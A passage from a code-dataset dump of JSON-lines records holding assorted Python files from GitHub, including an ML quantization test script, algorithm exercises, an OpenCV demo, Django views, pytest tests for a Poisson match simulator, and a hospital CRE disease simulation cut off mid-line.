results to {args.out}')\n            mmcv.dump(results, args.out)\n\n\ndef main():\n    args = parse_args()\n\n    cfg = mmcv.Config.fromfile(args.config)\n    if args.cfg_options is not None:\n        cfg.merge_from_dict(args.cfg_options)\n    # set cudnn_benchmark\n    if cfg.get('cudnn_benchmark', False):\n        torch.backends.cudnn.benchmark = True\n    cfg.model.pretrained = None\n    cfg.data.test.test_mode = True\n\n    assert args.metrics or args.out, \\\n        'Please specify at least one of output path and evaluation metrics.'\n\n    # init distributed env first, since logger depends on the dist info.\n    if args.launcher == 'none':\n        distributed = False\n    else:\n        distributed = True\n        init_dist(args.launcher, **cfg.dist_params)\n\n    # build the dataloader\n    dataset = build_dataset(cfg.data.test)\n    # the extra round_up data will be removed during gpu/cpu collect\n    data_loader = build_dataloader(\n        dataset,\n        samples_per_gpu=cfg.data.samples_per_gpu,\n        workers_per_gpu=cfg.data.workers_per_gpu,\n        dist=distributed,\n        shuffle=False,\n        round_up=True)\n\n    # add the calibration loader\n    calib_dataset = build_dataset(cfg.data.val)\n    np.random.seed(3)\n    calib_inds=np.random.randint(len(calib_dataset.data_infos),size=args.calib_size)\n    calib_dataset.data_infos=[calib_dataset.data_infos[_] for _ in calib_inds]\n\n    # the extra round_up data will be removed during gpu/cpu collect\n    calib_loader = build_dataloader(\n        calib_dataset,\n        samples_per_gpu=cfg.data.samples_per_gpu,\n        workers_per_gpu=cfg.data.workers_per_gpu,\n        dist=distributed,\n        shuffle=False,\n        round_up=True)\n \n    # build the model and load checkpoint\n    model:nn.Module = build_classifier(cfg.model)\n    fp16_cfg = cfg.get('fp16', None)\n    if fp16_cfg is not None:\n        wrap_fp16_model(model)\n    checkpoint = load_checkpoint(model, args.checkpoint, map_location='cpu')\n\n    if 'CLASSES' in checkpoint.get('meta', {}):\n        CLASSES = checkpoint['meta']['CLASSES']\n    else:\n        from mmcls.datasets import ImageNet\n        warnings.simplefilter('once')\n        warnings.warn('Class names are not saved in the checkpoint\\'s '\n                      'meta data, use imagenet by default.')\n        CLASSES = ImageNet.CLASSES\n\n    wrapped_modules = OrderedDict()\n    crxb_cfg['inter_activation_qbit'] = args.a_bits\n    crxb_cfg['weight_qbit'] = args.w_bits\n    crxb_cfg['input_qbit'] = args.a_bits\n    if args.quantizer == 'RobustCrxbQuantizer':\n        layer_quantizer=RobustCrxbQuantizer\n    elif args.quantizer == 'SimpleCrxbQuantizer':\n        layer_quantizer=SimpleCrxbQuantizer\n    elif args.quantizer == 'MinibatchRobustCrxbQuantizer':\n        layer_quantizer=MinibatchRobustCrxbQuantizer\n\n    convert(model, inplace=True, \n            layer_quantizer=layer_quantizer,\n            wrap_fc=False, wrapped_modules=wrapped_modules,crxb_cfg=crxb_cfg)\n    print(\"After wrapped\\n\"+\"*\"*10+\"\\n\", model)\n    # def print_name(m:nn.Module, inputs):\n    #     print(\"!!!+!+!+\",m.__class__.__name__)\n\n    # for n,m in model.named_modules():\n    #     m.register_forward_pre_hook(print_name)\n\n    # for n,m in model.named_module\n    calib_model(distributed, args, model, wrapped_modules, calib_loader, calib_dataset, CLASSES)\n    convert_weight(model, wrapped_modules, True)\n    test_model(distributed, args, model, data_loader, dataset, CLASSES)\n\n\nif __name__ == '__main__':\n    main()","repo_name":"fightingnoble/Robust-ReRAM-NN","sub_path":"plot/mm_cls.py","file_name":"mm_cls.py","file_ext":"py","file_size_in_byte":17359,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"57"}
+{"seq_id":"14898068840","text":"import os\nfrom gac import *\n\ndef getProblemInfo():\n\tscale_value = 5\n\tx_offset = 20\n\ty_offset = 20\n\tindex = input(\"Enter problem index(blank for custom): \")\n\tif index == \"\":\n\t\tk = eval(input(\"Enter number of colors: \"))\n\t\tfile_path = input(\"Enter file path: \")\n\telse:\n\t\tindex = eval(index)\n\t\tfile_path = \"\"\n\t\tk=4\n\t\tif index == 0:\n\t\t\tfile_path = \"graph-color-1.txt\"\n\t\t\tscale_value = 10\n\t\telif index == 1:\n\t\t\tfile_path = \"graph_color_2.txt\"\n\t\telif index == 2:\n\t\t\tfile_path = \"rand-50-4-color1.txt\"\n\t\telif index == 3:\n\t\t\tfile_path = \"rand-100-4-color1.txt\"\n\t\telif index == 4:\n\t\t\tfile_path = \"rand-100-6-color1.txt\"\n\t\t\tk=5\n\t\telif index == 5:\n\t\t\tfile_path = \"spiral-500-4-color1.txt\"\n\t\t\tk=4\n\t\t\tscale_value = 0.025\n\t\t\tx_offset = 15000\n\t\t\ty_offset = 12000\n\t\t\t\n\theuristic = eval(input(\"Enter heuristic to be used: BACKTRACKING(0), MRV(1), MN(2): \"))\n\tanimate = eval(input(\"Animate graphics(True/False): \"))\n\t\t\t\n\tdir = os.path.dirname(__file__)\n\tfile_path = os.path.join(dir, file_path)\n\tf = open(file_path,'r')\n\tGAC(k,f.readlines(), scale_value, x_offset, y_offset, heuristic, animate)\n\treturn None\n\t\ngetProblemInfo()","repo_name":"johannbm/MTDT-Projects","sub_path":"IT3105 - AI-Prog/Module_2/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1108,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"57"}
+{"seq_id":"16923625324","text":"import sys\ninput = sys.stdin.readline\n\nN, K =  map(int, input().split())\n\n''' 런타임 에러 때문에 수정한 답안 '''\n# visited의 기능과 cnt값을 저장하는 기능을 동시에\n# 0보다 크면 일단 들렸었던 값 & 최소 방문횟수 저장\ncounting = [0]*100001\nlimit = 100000\n\nfrom collections import deque\nq = deque()\nq.append(N)\n\n\nwhile q:\n    now= q.popleft()\n    if now == K :\n        print(counting[now])\n        break\n    if 0 <= now-1 <= limit and counting[now-1] == 0:\n        counting[now-1] = counting[now]+1\n        q.append(now-1)\n    if 0 <= now+1 <= limit and counting[now+1] == 0 :\n        counting[now+1] = counting[now]+1\n        q.append(now+1)\n    if 0 <= now*2 <= limit and counting[now*2] == 0 :\n        counting[now*2] = counting[now]+1\n        q.append(now*2)\n\n''' 시간/메모리 제한 없다면 가능 '''\n# import sys\n# input = sys.stdin.readline\n#\n# N, K =  map(int, input().split())\n#\n# visited = [0]*100001\n#\n# from collections import deque\n# q = deque()\n# q.append([N,0])\n# visited[N] = 1\n#\n# while q:\n#     now, cnt = q.popleft()\n#     if now == K :\n#         print(cnt)\n#         break\n#     if now < 0 or now > 100000 :\n#         continue\n#     if now-1 >= 0 and visited[now-1] == 0:\n#         visited[now-1] = 1\n#         q.append([now-1, cnt+1])\n#     if now+1 <= 1000000 and visited[now+1] == 0 :\n#         visited[now+1] = 1\n#         q.append([now+1, cnt+1])\n#     if now*2 <= 1000000 and visited[now*2] == 0 :\n#         visited[now*2] = 1\n#         q.append([now*2, cnt+1])","repo_name":"2021-Dev-Study/Algorithm","sub_path":"Baekjoon/DFS와 BFS/1697_숨바꼭질/yummygyudon.py","file_name":"yummygyudon.py","file_ext":"py","file_size_in_byte":1537,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"57"}
+{"seq_id":"1831834874","text":"#!/usr/bin/env python2\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Nov  7 02:05:51 2016\n\n@author: aman\n\"\"\"\n\nimport numpy as np\nimport cv2\n\ncap = cv2.VideoCapture(0)\n\nwhile(True):\n    # Capture frame-by-frame\n    ret, orig_img = cap.read()\n\n    # Our operations on the frame come here\n    gray = cv2.cvtColor(orig_img, cv2.COLOR_BGR2GRAY)\n\n    # Display the resulting frame\n    cv2.imshow('frame',gray)\n    \n    w = gray.shape[0]\n    h = gray.shape[1]\n\n    \n\n    # Threshold.\n    # Set values equal to or above 220 to 0.\n    # Set values below 220 to 255.\n    \n    mat = np.float32(gray)\n    avg = np.int(sum(sum(mat))/(w*h))\n    th, im_th = cv2.threshold(gray, avg, 255, cv2.THRESH_BINARY);\n     \n    # Copy the thresholded image.\n    im_floodfill = im_th.copy()\n     \n    # Mask used to flood filling.\n    # Notice the size needs to be 2 pixels than the image.\n    h, w = im_th.shape[:2]\n    mask = np.zeros((h+2, w+2), np.uint8)\n     \n    # Floodfill from point (0, 0)\n    cv2.floodFill(im_floodfill, mask, (0,0), 255);\n     \n    # Invert floodfilled image\n    im_floodfill_inv = cv2.bitwise_not(im_floodfill)\n     \n    # Combine the two images to get the foreground.\n    im_out = im_th | im_floodfill_inv\n    \n    checker_board = im_out*gray \n# Display images.\n    cv2.imshow(\"Thresholded Image\", im_th)\n    cv2.imshow(\"Floodfilled Image\", im_floodfill)\n    cv2.imshow(\"Inverted Floodfilled Image\", im_floodfill_inv)\n    cv2.imshow(\"Foreground\", im_out)\n    cv2.imshow(\"CheckerBoard\",checker_board)\n    if cv2.waitKey(1) & 0xFF == ord('q'):\n        break\n\n# When everything done, release the capture\ncap.release()\ncv2.destroyAllWindows()","repo_name":"amanwalia123/VisionChess","sub_path":"Testing Code/untitled7.py","file_name":"untitled7.py","file_ext":"py","file_size_in_byte":1639,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"57"}
+{"seq_id":"1505112911","text":"import math\r\n\r\ncnk_values = {}\r\n\r\n\r\ndef c(n, k):\r\n    if k == 0 or n < k:\r\n        return 0\r\n    if k == 1 or k == n:\r\n        return 1\r\n    if (n, k) in cnk_values:\r\n        return cnk_values[n, k]\r\n    result = (c(n - 1, k - 1) + c(n - 1, k))\r\n    cnk_values[n, k] = result\r\n    return result\r\n\r\n\r\ndef prob(SIZE, p, k):\r\n    return c(SIZE, k) * math.pow(p, k) * math.pow(1 - p, SIZE - k)\r\n\r\n\r\ndef gen(SIZE, gen):\r\n    res = [0] * SIZE\r\n    for i in range(SIZE):\r\n        p = 0\r\n        for j in range(len(gen)):\r\n            p += gen[j] * prob(SIZE, (j + 1) / SIZE, i + 1)\r\n        res[i] = p\r\n    return res\r\n\r\n\r\nif __name__ == '__main__':\r\n    N, m, g, k = (int(x) for x in input().split())\r\n    SIZE = 2 * N\r\n    generation = [0] * SIZE\r\n    generation[m - 1] = 1\r\n    for i in range(g):\r\n        print(' '.join(['%.3f' % x for x in generation]))\r\n        generation = gen(SIZE, generation)\r\n    print(' '.join(['%.3f' % x for x in generation]))\r\n\r\n    res = 0\r\n    for i in range(SIZE - k, SIZE):\r\n        res += generation[i]\r\n    print(1 - res)\r\n\r\n","repo_name":"karpov78/rosalind-algo","sub_path":"python/wfmd.py","file_name":"wfmd.py","file_ext":"py","file_size_in_byte":1056,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"57"}
+{"seq_id":"13432406073","text":"from setuptools import setup, find_packages\n \nclassifiers = [\n   'Development Status :: 5 - Production/Stable',\n  'Operating System :: Microsoft :: Windows :: Windows 10',\n  'Operating System :: POSIX :: Linux',\n  'License :: OSI Approved :: MIT License',\n  'Programming Language :: Python :: 3'\n]\n \nsetup(\n  name='SpatialPrompt',\n  version='0.0.5',   #mandatory change\n  description='Scalable and efficient cell type deconvolution and clustering in spatial transcriptomics',\n  long_description=open('README.md').read() ,\n  url='',  \n  author='Asish Kumar Swain',\n  author_email='swainkasish@gmail.com',\n  license='MIT', \n  classifiers=classifiers,\n  keywords='willupdate', \n  packages=find_packages(),\n  install_requires=['pandas>=1.3.5',\n        'numpy>=1.21.6',\n        'scikit-learn>=1.0.2',\n        \"alive_progress>=3.0.1\",\n        \"scipy>=1.7.3\"] \n)\n","repo_name":"swainasish/SpatialPrompt","sub_path":"py_package/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":856,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"57"}
+{"seq_id":"41391773929","text":"from django.shortcuts import render\nfrom .models import NavBar, MotionImage, News, Question, Adds, Success\n\n\ndef homepage(request):\n    nav = NavBar.objects.all()\n    motion = MotionImage.objects.all()\n    all_news = News.objects.all()\n    news = all_news[::-1]\n    if len(news) > 3:\n        news_list = news[:3]\n    else:\n        news_list = news[:]\n\n    all_advert = Adds.objects.all()\n    advert = all_advert[::-1]\n    if len(advert) > 3:\n        advert_list = advert[:3]\n    else:\n        advert_list = advert[:]\n\n    short = []\n    for item in news:\n        if item.NShort != \"\":\n            short.append(item.NShort)\n    news_short = short[:5]\n    success = Success.objects.all()\n\n    question = Question.objects.all()\n    context = {'nav': nav, 'motion': motion, 'news_list': news_list, 'success': success, 'news_short': news_short,\n               'advert_list': advert_list, 'question': question}\n    return render(request, 'structure/Main.html', context)\n\n\ndef nav_detail(request, slug):\n    all_news = News.objects.all()\n    news = all_news[::-1]\n    short = []\n    for item in news:\n        if item.NShort != \"\":\n            short.append(item.NShort)\n    news_short = short[:5]\n\n    nav_detail = NavBar.objects.get(NAVSlug=slug)\n    nav = NavBar.objects.all()\n    motion = MotionImage.objects.all()\n    smotion = MotionImage.objects.filter(MIRelation=nav_detail)\n    context = {'nav_detail': nav_detail, 'nav': nav, 'motion': motion, 'news_short': news_short, 'smotion': smotion}\n    return render(request, 'structure/nav_detail.html', context)\n\n\ndef news_list_Page(request):\n    news = News.objects.all()\n    nav = NavBar.objects.all()\n    news_list = news[::-1]\n    context = {'nav': nav, 'news_list': news_list}\n    return render(request, 'structure/News_List.html', context)\n\n\ndef news_detail_page(request, id):\n    nav = NavBar.objects.all()\n    num = 1\n    news = News.objects.get(id=id)\n    context = {'nav': nav, 'num': num, 'news': news}\n    return render(request, 'structure/News_Details.html', context)\n\n\ndef advert_page(request, id):\n    nav = NavBar.objects.all()\n    num = 2\n    advert = Adds.objects.get(id=id)\n    context = {'nav': nav, 'num': num, 'advert': advert}\n    return render(request, 'structure/News_Details.html', context)","repo_name":"bassamraheam/ShamSite","sub_path":"structure/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2260,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"57"}
+{"seq_id":"28770234679","text":"#!/usr/bin/python\n#encoding=utf-8\n\nimport urllib\nimport sys\nimport requests\nimport codecs\n\nMANUAL_QUERY_FILENAME = \"/search/yinjingjing/manual_db/manual_query_file\"\n\n#add % for log,transfer to unicode\n\ndef translate_key_to_query(key_string):\n    parse_string = \"\"\n    key_len = len(key_string)\n\n    while (key_len > 0):\n        parse_string += \"%\" + key_string[0:2]\n        key_string = key_string[2:]\n        key_len = key_len - 2\n\n    #transfer to chinese query\n    query = urllib.unquote(parse_string)\n    return query\n\ndef get_key_from_log(logfile):\n    lists = []\n\n    with open(logfile, 'r') as f:\n        for line in f.readlines():\n            if \"cmd=PUT\" not in line:\n                continue\n            line = line.rstrip('\\n')\n            #extract key from line\n            line = line.split(',')[7][4:-1]\n            lists.append(line)\n\n    f_query = open(MANUAL_QUERY_FILENAME, 'w')\n    for i in range(len(lists)):\n        temp_key = translate_key_to_query(lists[i])\n        if \"SELECT\" in temp_key:\n            continue\n        f_query.write(\"%s\\n\" % temp_key.decode('gbk').encode('utf-8'))\n\n    f_query.close()\n\nif __name__ == '__main__':\n    get_key_from_log(sys.argv[1])\n","repo_name":"jingnie0222/exercise_py","sub_path":"qdbString.py","file_name":"qdbString.py","file_ext":"py","file_size_in_byte":1189,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"57"}
+{"seq_id":"45682076319","text":"import numpy as np\nimport pandas as pd\nfrom unittest.mock import patch\n\nimport pytest\n\nfrom src.models.poisson_simulator import (\n    PoissonSimulator,\n    calculate_match_stats,\n    calculate_probabilities,\n    create_simulations,\n    diagonal_inflation,\n    simulate_matches,\n    simulations_to_df,\n)\n\n\n@pytest.fixture\ndef test_df():\n    df = pd.DataFrame({\"score1\": [1, 2, 3], \"score2\": [3, 2, 1]})\n\n    return df\n\n\n@pytest.fixture\ndef test_simulations():\n    X = np.array(\n        [\n            [[1, 1], [2, 2], [3, 3], [4, 4], [5, 5]],\n            [[1, 0], [2, 0], [3, 0], [4, 0], [5, 0]],\n            [[0, 1], [0, 2], [0, 3], [0, 4], [0, 5]],\n        ]\n    )\n\n    return X\n\n\n@pytest.fixture\ndef test_sim_df():\n    df = pd.DataFrame(\n        data={\n            1: [1, 2, 3, 4, 5, 1, 2, 3, 4, 5, 0, 0, 0, 0, 0],\n            2: [1, 2, 3, 4, 5, 0, 0, 0, 0, 0, 1, 2, 3, 4, 5],\n        },\n        index=pd.MultiIndex.from_tuples(\n            [\n                (0, 0),\n                (0, 1),\n                (0, 2),\n                (0, 3),\n                (0, 4),\n                (1, 0),\n                (1, 1),\n                (1, 2),\n                (1, 3),\n                (1, 4),\n                (2, 0),\n                (2, 1),\n                (2, 2),\n                (2, 3),\n                (2, 4),\n            ],\n            names=[\"match\", \"simulation\"],\n        ),\n    )\n\n    return df\n\n\n@pytest.fixture\ndef test_sim_df_match_stats():\n    df = pd.DataFrame(\n        data={\n            1: [1, 2, 3, 4, 5, 1, 2, 3, 4, 5, 0, 0, 0, 0, 0],\n            2: [1, 2, 3, 4, 5, 0, 0, 0, 0, 0, 1, 2, 3, 4, 5],\n            \"result\": [\"tie\"] * 5 + [\"1\"] * 5 + [\"2\"] * 5,\n            \"cs1\": [False] * 5 + [True] * 5 + [False] * 5,\n            \"cs2\": [False] * 10 + [True] * 5,\n        },\n        index=pd.MultiIndex.from_tuples(\n            [\n                (0, 0),\n                (0, 1),\n                (0, 2),\n                (0, 3),\n                (0, 4),\n                (1, 0),\n                (1, 1),\n                (1, 2),\n                (1, 3),\n                (1, 4),\n                (2, 0),\n                (2, 1),\n                (2, 2),\n                (2, 3),\n                (2, 4),\n            ],\n            names=[\"match\", \"simulation\"],\n        ),\n    )\n    return df\n\n\n@pytest.fixture\ndef test_sim_df_inflated():\n    expected = pd.DataFrame(\n        data={\n            \"match\": [0] * 5 + [1] * 5 + [2] * 5,\n            \"simulation\": list(range(5)) * 3,\n            1: [1, 2, 3, 4, 5, 1, 2, 3, 4, 5, 0, 0, 0, 0, 0],\n            2: [1, 2, 3, 4, 5, 0, 0, 0, 0, 0, 1, 2, 3, 4, 5],\n            \"result\": [\"tie\"] * 5 + [\"1\"] * 5 + [\"2\"] * 5,\n            \"cs1\": [False] * 5 + [True] * 5 + [False] * 5,\n            \"cs2\": [False] * 10 + [True] * 5,\n            \"count\": [1.1] * 5 + [1] * 10,\n        }\n    )\n\n    return expected\n\n\ndef test_create_simulations_mock(test_df):\n    n_simulations = 100\n\n    with patch(\"scipy.stats.poisson.rvs\", lambda x: np.ones(x.shape)):\n        response = create_simulations(test_df, n_simulations)\n\n        assert np.array_equal(response, np.ones(shape=(3, n_simulations, 2)))\n\n\ndef test_create_simulations_shape(test_df):\n    n_simulations = 100\n\n    response = create_simulations(test_df, n_simulations)\n\n    assert response.shape == (3, n_simulations, 2)\n\n\ndef test_simulations_to_df(test_df, test_simulations, test_sim_df):\n    response = simulations_to_df(test_df, test_simulations)\n\n    expected = test_sim_df\n\n    pd.testing.assert_frame_equal(response, expected)\n\n\ndef test_calculate_match_stats(test_sim_df, test_sim_df_match_stats):\n    response = calculate_match_stats(test_sim_df)\n\n    expected = test_sim_df_match_stats\n\n    pd.testing.assert_frame_equal(response, expected)\n\n\ndef test_diagonal_inflation(test_sim_df_match_stats, test_sim_df_inflated):\n    draw_inflation = 1.1\n    response = diagonal_inflation(test_sim_df_match_stats, draw_inflation)\n\n    expected = test_sim_df_inflated\n\n    pd.testing.assert_frame_equal(response, expected)\n\n\ndef test_calculate_probabilities(test_sim_df_inflated):\n    response = calculate_probabilities(test_sim_df_inflated)\n\n    expected = pd.DataFrame(\n        index=pd.RangeIndex(stop=3, name=\"match\"),\n        data={\n            \"prob1\": [0.0, 1.0, 0.0],\n            \"prob2\": [0.0, 0.0, 1.0],\n            \"probtie\": [1.0, 0.0, 0.0],\n            \"cs1\": [0.0, 1.0, 0.0],\n            \"cs2\": [0.0, 0.0, 1.0],\n        },\n    )\n    expected.columns = expected.columns.values\n\n    pd.testing.assert_frame_equal(response, expected)\n\n\ndef test_simulate_matches(test_df):\n    response = simulate_matches(test_df, 10, 1.1)\n\n    assert isinstance(response, pd.DataFrame)\n\n    assert len(response) == 3\n\n    assert response.columns.values.tolist() == [\n        \"prob1\",\n        \"prob2\",\n        \"probtie\",\n        \"cs1\",\n        \"cs2\",\n    ]\n\n\ndef test_poisson_simulator_init():\n    response = PoissonSimulator(\n        target_cols=[\"prob1\", \"prob2\", \"probtie\"],\n        diagonal_inflation=1.10,\n        n_simulations=100,\n    )\n\n    assert response.target_cols == [\"prob1\", \"prob2\", \"probtie\"]\n\n    assert response.diagonal_inflation == 1.10\n\n    assert response.n_simulations == 100\n\n\ndef test_poisson_simulator_fit():\n    response = PoissonSimulator(\n        target_cols=[\"prob1\", \"prob2\", \"probtie\"],\n        diagonal_inflation=1.10,\n        n_simulations=100,\n    )\n\n    X = pd.DataFrame(np.random.uniform(0, 5, size=(100, 2)))\n\n    response.fit(X)\n\n    assert response\n\n\ndef test_poisson_simulator_predict():\n    model = PoissonSimulator(\n        target_cols=[\"prob1\", \"prob2\", \"probtie\"],\n        diagonal_inflation=1.10,\n        n_simulations=100,\n    )\n\n    X = pd.DataFrame(np.random.uniform(0, 5, size=(100, 2)))\n\n    model.fit(X)\n\n    response = model.predict(X)\n\n    assert isinstance(response, pd.DataFrame)\n\n    assert response.shape == (100, 3)\n\n    assert response.columns.values.tolist() == [\"prob1\", \"prob2\", \"probtie\"]\n","repo_name":"jamiebarker0310/fpl-spi-predictions","sub_path":"tests/models/test_poisson_simulator.py","file_name":"test_poisson_simulator.py","file_ext":"py","file_size_in_byte":5925,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"57"}
+{"seq_id":"17517792588","text":"import numpy as np\nimport pandas as pd\n\nfrom pathlib import Path\nfrom src.state import AgeGroup, AntibioticsState, CREState, LifeState, Empty, NameState\nfrom src.misc_functions import create_cdf, random_selection\nfrom src.disease import Disease\nfrom src.antibiotics import Antibiotics, create_antibiotics_dictionary\n\n\nclass CreDiseaseModule(Disease):\n    def __init__(self, model, params):\n        super().__init__(model, params)\n        \"\"\" A class to house all of the CRE functions and objects\n        \"\"\"\n        self.recent_cre_count = dict()\n        self.most_recent_cre = dict()\n        self.cre_count = dict()\n        self.cre_probability_dict = dict()\n        self.cre_carriage_dict = dict(), dict()\n\n        # ----- Antibiotics\n        self.antibiotics = Antibiotics(\n            model=self.model,\n            enum=AntibioticsState,\n            transition_dict=create_antibiotics_dictionary(self.model),\n            key_types=[self.model.location.locations.enum, AgeGroup],\n            antibiotic_risk=self.model.params.antibiotics[\"relative_risk\"][\"cre\"],\n        )\n\n        # ----- CRE\n        self.cre = Empty(\"cre\")\n        self.cre.values = np.zeros(len(self.model.population), dtype=np.int16)\n        self.cre.values.fill(CREState.SUSCEPTIBLE.value)\n        self.cre.states = [item.name for item in CREState]\n\n        self.initialize_cre()\n\n    def initialize_cre(self):\n        \"\"\" Do we start anyone with CRE?\n        \"\"\"\n        # ----- Facility Initialization\n        non_community = (\n            self.model.location.location.values\n            != self.model.location.locations.community\n        )\n        unique_ids = self.model.unique_ids[non_community]\n        probabilities = np.zeros(len(unique_ids))\n        probabilities.fill(self.params[\"cre\"][\"point_prevalence\"][\"non-ICU\"])\n        selected_agents = probabilities > self.model.rng.rand(len(probabilities))\n        for unique_id in unique_ids[selected_agents]:\n            self.cre.values[unique_id] = CREState.CRE\n        # ----- Community Initialization\n        community = (\n            self.model.location.location.values\n            == self.model.location.locations.community\n        )\n        unique_ids = self.model.unique_ids[community]\n        probabilities = np.zeros(len(unique_ids))\n        probabilities.fill(self.params[\"cre\"][\"point_prevalence\"][\"non-ICU\"])  # TODO\n        selected_agents = probabilities > self.model.rng.rand(len(probabilities))\n        for unique_id in unique_ids[selected_agents]:\n            self.cre.values[unique_id] = CREState.CRE\n\n    def step(self):\n        \"\"\" Run through a complete CRE step for all agents\n            1: Simulate antibiotics use for all types of agents\n            2: Simulate CRE Transition\n            3: Collect the agents current states\n        \"\"\"\n        self.antibiotics.step()\n        self.simulate_cre_transitions()\n        self.collect_agents()\n\n    def simulate_cre_transitions(self):\n        \"\"\" Simulate all agents CRE Transitions\n            1: SUSCEPTIBLE TO CRE: Community & Facility\n            2: CRE RECOVERY\n        \"\"\"\n        living = self.model.life.values == LifeState.ALIVE\n        susceptible_agents = (living) & (self.cre.values == CREState.SUSCEPTIBLE)\n        cre_agents = (living) & (self.cre.values == CREState.CRE)\n\n        # ----- 1a: Community\n        community_id = self.model.location.locations.community\n        in_community = self.model.unique_ids[\n            (self.model.location.location.values == community_id) & susceptible_agents\n        ]\n        probabilities = np.zeros(len(in_community))\n        probabilities.fill(self.params[\"cre\"][\"betas\"][\"base\"])  # TODO\n        selected_agents = probabilities > self.model.rng.rand(len(probabilities))\n        for unique_id in in_community[selected_agents]:\n            self.cre_update(unique_id, CREState.CRE)\n\n        # ----- 1b: Facility\n        in_facility = self.model.unique_ids[\n            (self.model.location.location.values != community_id) & susceptible_agents\n        ]\n        probabilities = self.find_cre_probability(in_facility)\n        selected_agents = probabilities > self.model.rng.rand(len(probabilities))\n        for unique_id in in_facility[selected_agents]:\n            self.cre_update(unique_id, CREState.CRE)\n\n        # ----- 2: CRE Recovery\n        probabilities = np.array([self.params[\"recovery\"]] * len(cre_agents))\n        selected_agents = probabilities > self.model.rng.rand(len(probabilities))\n        for unique_id in cre_agents[selected_agents]:\n            # --- Create recovery options (Susceptible, Colonized, Death)\n            to_death = self.params[\"death\"]\n            to_susceptible = 1 - to_death\n            dist = [to_susceptible, to_death]\n            options = [CREState.SUSCEPTIBLE, CREState.DEAD]\n            end_state = random_selection(\n                self.model.rng.rand(1), create_cdf(dist), options\n            )\n            self.cre_update(unique_id, end_state)\n\n    def cre_update(self, unique_id: int, new_cre_state: CREState):\n        \"\"\" Change the agent's cre status\n            1: If the agent dies, record the state change and perform a life update\n            2: Record the state change\n        \"\"\"\n        current_cre_state = self.cre.values[unique_id]\n\n        if new_cre_state == CREState.DEAD:\n            self.model.record_state_change(\n                unique_id=unique_id,\n                name_state=NameState.CRE,\n                old=current_cre_state,\n                new=new_cre_state,\n            )\n            self.cre.values[unique_id] = new_cre_state\n            self.model.life.life_update(unique_id)\n            self.model.location.death_of_agent(unique_id)\n            return\n\n        if new_cre_state == CREState.CRE:\n            self.most_recent_cre[unique_id] = self.model.time\n            # --- Give Antibiotics\n            self.antibiotics.give_antibiotics(\n                [unique_id], previous_state=self.antibiotics.values[unique_id]\n            )\n            # --- Extend their LOS\n            if (\n                self.model.location.location.values[unique_id]\n                in self.model.location.locations.all_hospitals\n            ):\n                self.model.location.current_los[unique_id] += 3\n        # --- Record the CRE State Change\n        self.model.record_state_change(\n            unique_id, NameState.CRE, current_cre_state, new_cre_state\n        )\n        self.cre.values[unique_id] = new_cre_state\n\n    def find_cre_probability(self, agent_ids: np.array) -> np.array:\n        \"\"\" Find the probability of transition from Susceptible to CRE (non-community only)\n        \"\"\"\n        probabilities = np.zeros(len(agent_ids))\n        locations = self.model.location.location.values[agent_ids]\n        for i in range(len(agent_ids)):\n            if agent_ids[i] in self.model.location.icu_patients:\n                probabilities[i] = self.cre_carriage[\"icus\"][locations[i]]\n            else:\n                probabilities[i] = self.cre_carriage[\"facilites\"][locations[i]]\n        return probabilities\n\n    def update_carriage_probability(self):\n        \"\"\" Find the number of susceptible and cre carriage agents at each facility\n        \"\"\"\n        base = self.params[\"cre\"][\"base_rates\"][\"COMMUNITY\"]\n\n        susceptible_by_facility = {\n            facility_id.value: [] for facility_id in self.model.location.locations.enum\n        }\n        carriage_by_facility = {\n            facility_id.value: [] for facility_id in self.model.location.locations.enum\n        }\n\n        non_community = (\n            self.model.location.location.values\n            != self.model.location.locations.community\n        )\n        susceptible_ids = self.model.unique_ids[\n            non_community & (self.cre.values == CREState.SUSCEPTIBLE)\n        ]\n        carriage_ids = self.model.unique_ids[\n            non_community & (self.cre.values == CREState.CRE)\n        ]\n\n        # ----- Susceptible by Hospital\n        for unique_id in susceptible_ids:\n            susceptible_by_facility[\n                self.model.location.location.values[unique_id]\n            ].append(unique_id)\n        # ----- Carriage by Hospital\n        for unique_id in carriage_ids:\n            carriage_by_facility[self.model.location.location.values[unique_id]].append(\n                unique_id\n            )\n\n        facilities = dict()\n        icus = dict()\n        for loc in self.model.location.locations.enum:\n            if loc == self.model.location.locations.community:\n                facilities[loc] = base\n            else:\n                m1 = len(susceptible_by_facility[loc]) * len(carriage_by_facility[loc])\n                # --- Hospitals\n                if loc in self.model.location.locations.all_hospitals:\n                    facilities[loc] = max(\n                        self.params[\"betas\"][\"non-ICU\"] * m1,\n                        self.params[\"base_rates\"][\"HOSPITAL\"],\n                    )\n                    icus[loc] = max(\n                        self.params[\"betas\"][\"ICU\"] * m1,\n                        self.params[\"base_rates\"][\"ICU\"],\n                    )\n                # --- LTACHs\n                if loc in self.model.location.locations.categories[\"LT\"][\"ints\"]:\n                    facilities[loc] = max(\n                        self.params[\"betas\"][\"LTACH\"] * m1,\n                        self.params[\"base_rates\"][\"LTACH\"],\n                    )\n                # --- NHs\n                if loc in self.model.location.locations.categories[\"NH\"][\"ints\"]:\n                    facilities[loc] = max(\n                        self.params[\"betas\"][\"NH\"] * m1, self.params[\"base_rates\"][\"NH\"]\n                    )\n\n        self.cre_carriage[\"facilites\"] = facilities\n        self.cre_carriage[\"icus\"] = icus\n\n    def regenerate_agents(self, agent_ids: np.array):\n        \"\"\" When an agent dies, we regenerate them. This function will prepare a new agent with CRE values\n        \"\"\"\n        ages = self.model.age_groups[agent_ids]\n        locations = self.model.age_groups[agent_ids]\n\n        # --- Assign no antibiotics\n        antibiotics = np.zeros(len(ages))\n        antibiotics.fill(AntibioticsState.OFF.value)\n        self.antibiotics.values = np.append(\n            